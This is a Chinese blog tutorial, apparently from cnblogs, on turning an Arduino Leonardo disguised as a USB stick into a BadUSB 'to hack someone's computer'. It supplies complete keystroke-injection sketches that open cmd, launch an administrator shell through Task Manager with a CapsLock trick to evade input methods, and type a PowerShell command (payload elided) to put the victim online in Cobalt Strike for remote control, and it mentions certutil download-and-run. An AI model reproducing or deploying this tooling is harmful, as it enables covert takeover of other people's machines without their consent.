• Badusb制作,远程别人电脑


    Badusb制作

    插一下U盘黑一台电脑,插了我的U盘你可就是我的脑了,()

    image-20230828122523617

    理论准备

    我们要用它就应该知道他的工作原理是怎么样的,方便我们去发散思维去使用它。

    Badusb的原理是利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。

    硬件准备

    首先在TB花费30左右大洋买一个 Badusb leonardo USB,烧录过程也比较简单

    badusb外观就是u盘的模样,很有迷惑性,不了解的人还真分辨不出了

    image-20230828121614342

    编译器准备

    下载地址:https://www.arduino.cc/en/software,我这里下载了最新的2.1.1

    下载完解压就行,双击exe打开,开始是英文,点击File->Preferences...,把English改为简体中文

    image-20230828103603906

    image-20230828103228406

    编译代码

    来到这一步,可以选择先插上Badusb,连接上端口,没有插上端口这里就会显示灰色无法点击

    image-20230828105129931

    然后在工具中找到开发板中的Arduino Leonardo

    image-20230828104606322

    看到这个地方变了就行,没变的话就点击选择一下

    image-20230828104806576

    举一个最简单的栗子,执行win+r打开运行执行cmd,在cmd中执行whoami

    #include 
    
    void setup() {//初始化
       Keyboard.begin();//开始键盘通讯 
      delay(5000);//延时
      Keyboard.press(KEY_LEFT_GUI);//win键 
      delay(500); 
      Keyboard.press('r');//r键 
      delay(500); 
      Keyboard.release(KEY_LEFT_GUI);
      Keyboard.release('r');
      Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
      Keyboard.release(KEY_CAPS_LOCK);
      delay(500); 
      Keyboard.println("CMD");
      delay(500); 
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(3000); 
      Keyboard.println("whoami");
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.end();//结束键盘通讯 
    }
    void loop()//循环
    {
    //
    }
    

    然后点击编译看是否有错误

    image-20230828105450978

    没有错误进行上传,他会把详细信息输出出来,红色的跟有错误一起,其实没啥问题

    image-20230828105553113

    验证成果

    进入cmd的其他方式

    通过任务管理器使用管理员权限运行cmd,不懂得可以手动操作一遍

    #include 
    void setup() {
      Keyboard.begin();                //开始
      delay(2000);                     //等待两秒
      Keyboard.press(KEY_LEFT_CTRL);   //按下左边的Ctrl键
      Keyboard.press(KEY_LEFT_SHIFT);  //按下左边的Shift键
      Keyboard.press(KEY_ESC);         //按下ESC键
      Keyboard.releaseAll();           //松开所有按下的键(Ctrl,Shift,ESC)
      //以上代码执行结果: 打开任务管理器
      delay(500);                    //等待0.5秒 作用: 等待任务管理器启动
      Keyboard.press(KEY_LEFT_ALT);  //按下左边的Alt键
      Keyboard.press('f');           //按下f键
      Keyboard.release('f');         //松开f键
      Keyboard.press('n');           //按下n键
      Keyboard.releaseAll();         //松开所有(n,Alt)
      delay(500);                    //等待0.5秒 作用: 等待运行的启动
      Keyboard.press(KEY_TAB);       //按下Tab键
      Keyboard.release(KEY_TAB);     //松开Tab键
      Keyboard.press(' ');           //按下空格键
      Keyboard.release(' ');         //松开空格键
      //以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
      //(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);  //利用CapsLock绕过输入法
      Keyboard.println("cmd");          //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
      delay(3000);                       //等待2秒 作用: 等待cmd的启动
      Keyboard.println("whoami");       //在cmd中输入
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.end();  //结束
    }
    
    void loop() {
      // put your main code here, to run repeatedly:
    }
    

    上线CS

    通过Badusb 上线CS实现远程控制

    以上我们可以看到,插上usb之后他会模拟键盘操作,可以就行打开或输入的动作,通过此方法来上线CS(远程控制)

    上线的方法有,powershell上线,certutil下载并运行上线等

    badusb通过powershell上线代码:

    #include 
    void setup() {
      Keyboard.begin();                //开始
      delay(2000);                     //等待两秒
      Keyboard.press(KEY_LEFT_CTRL);   //按下左边的Ctrl键
      Keyboard.press(KEY_LEFT_SHIFT);  //按下左边的Shift键
      Keyboard.press(KEY_ESC);         //按下ESC键
      Keyboard.releaseAll();           //松开所有按下的键(Ctrl,Shift,ESC)
      //以上代码执行结果: 打开任务管理器
      delay(500);                    //等待0.5秒 作用: 等待任务管理器启动
      Keyboard.press(KEY_LEFT_ALT);  //按下左边的Alt键
      Keyboard.press('f');           //按下f键
      Keyboard.release('f');         //松开f键
      Keyboard.press('n');           //按下n键
      Keyboard.releaseAll();         //松开所有(n,Alt)
      delay(500);                    //等待0.5秒 作用: 等待运行的启动
      Keyboard.press(KEY_TAB);       //按下Tab键
      Keyboard.release(KEY_TAB);     //松开Tab键
      Keyboard.press(' ');           //按下空格键
      Keyboard.release(' ');         //松开空格键
      //以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
      //(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);  //利用CapsLock绕过输入法
      Keyboard.println("cmd");          //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
      delay(3000);                       //等待2秒 作用: 等待cmd的启动
      Keyboard.println("powershell.exe  xxxxxxxx");       //在cmd中输入
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.end();  //结束
    }
    
    void loop() {
      // put your main code here, to run repeatedly:
    }
    

    找个电脑上u盘,五秒钟,成功控制该电脑

    image-20230828114536629




    如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
  • 相关阅读:
    2022-08-01 网工进阶(二十三) VLAN高级技术-VLAN聚合、MUX VLAN
    vscode 使用ES6调试js
    跨界电商、游戏技与代理IP的关联
    Ubuntu 录屏软件 peek 安装
    小程序模板报价_小程序模板价格_小程序模板使用多少钱
    (附源码)ssm旅游企业财务管理系统 毕业设计 102100
    B-树(高阶数据结构)
    PLC数据采集网关是如何应用的?-天拓四方
    一款超美观强大的 Nginx 可视化管理界面 nginx-proxy-manager
    【跟小嘉学 Rust 编程】二十五、Rust命令行参数解析库(clap)
  • 原文地址:https://www.cnblogs.com/mt0u/p/17663874.html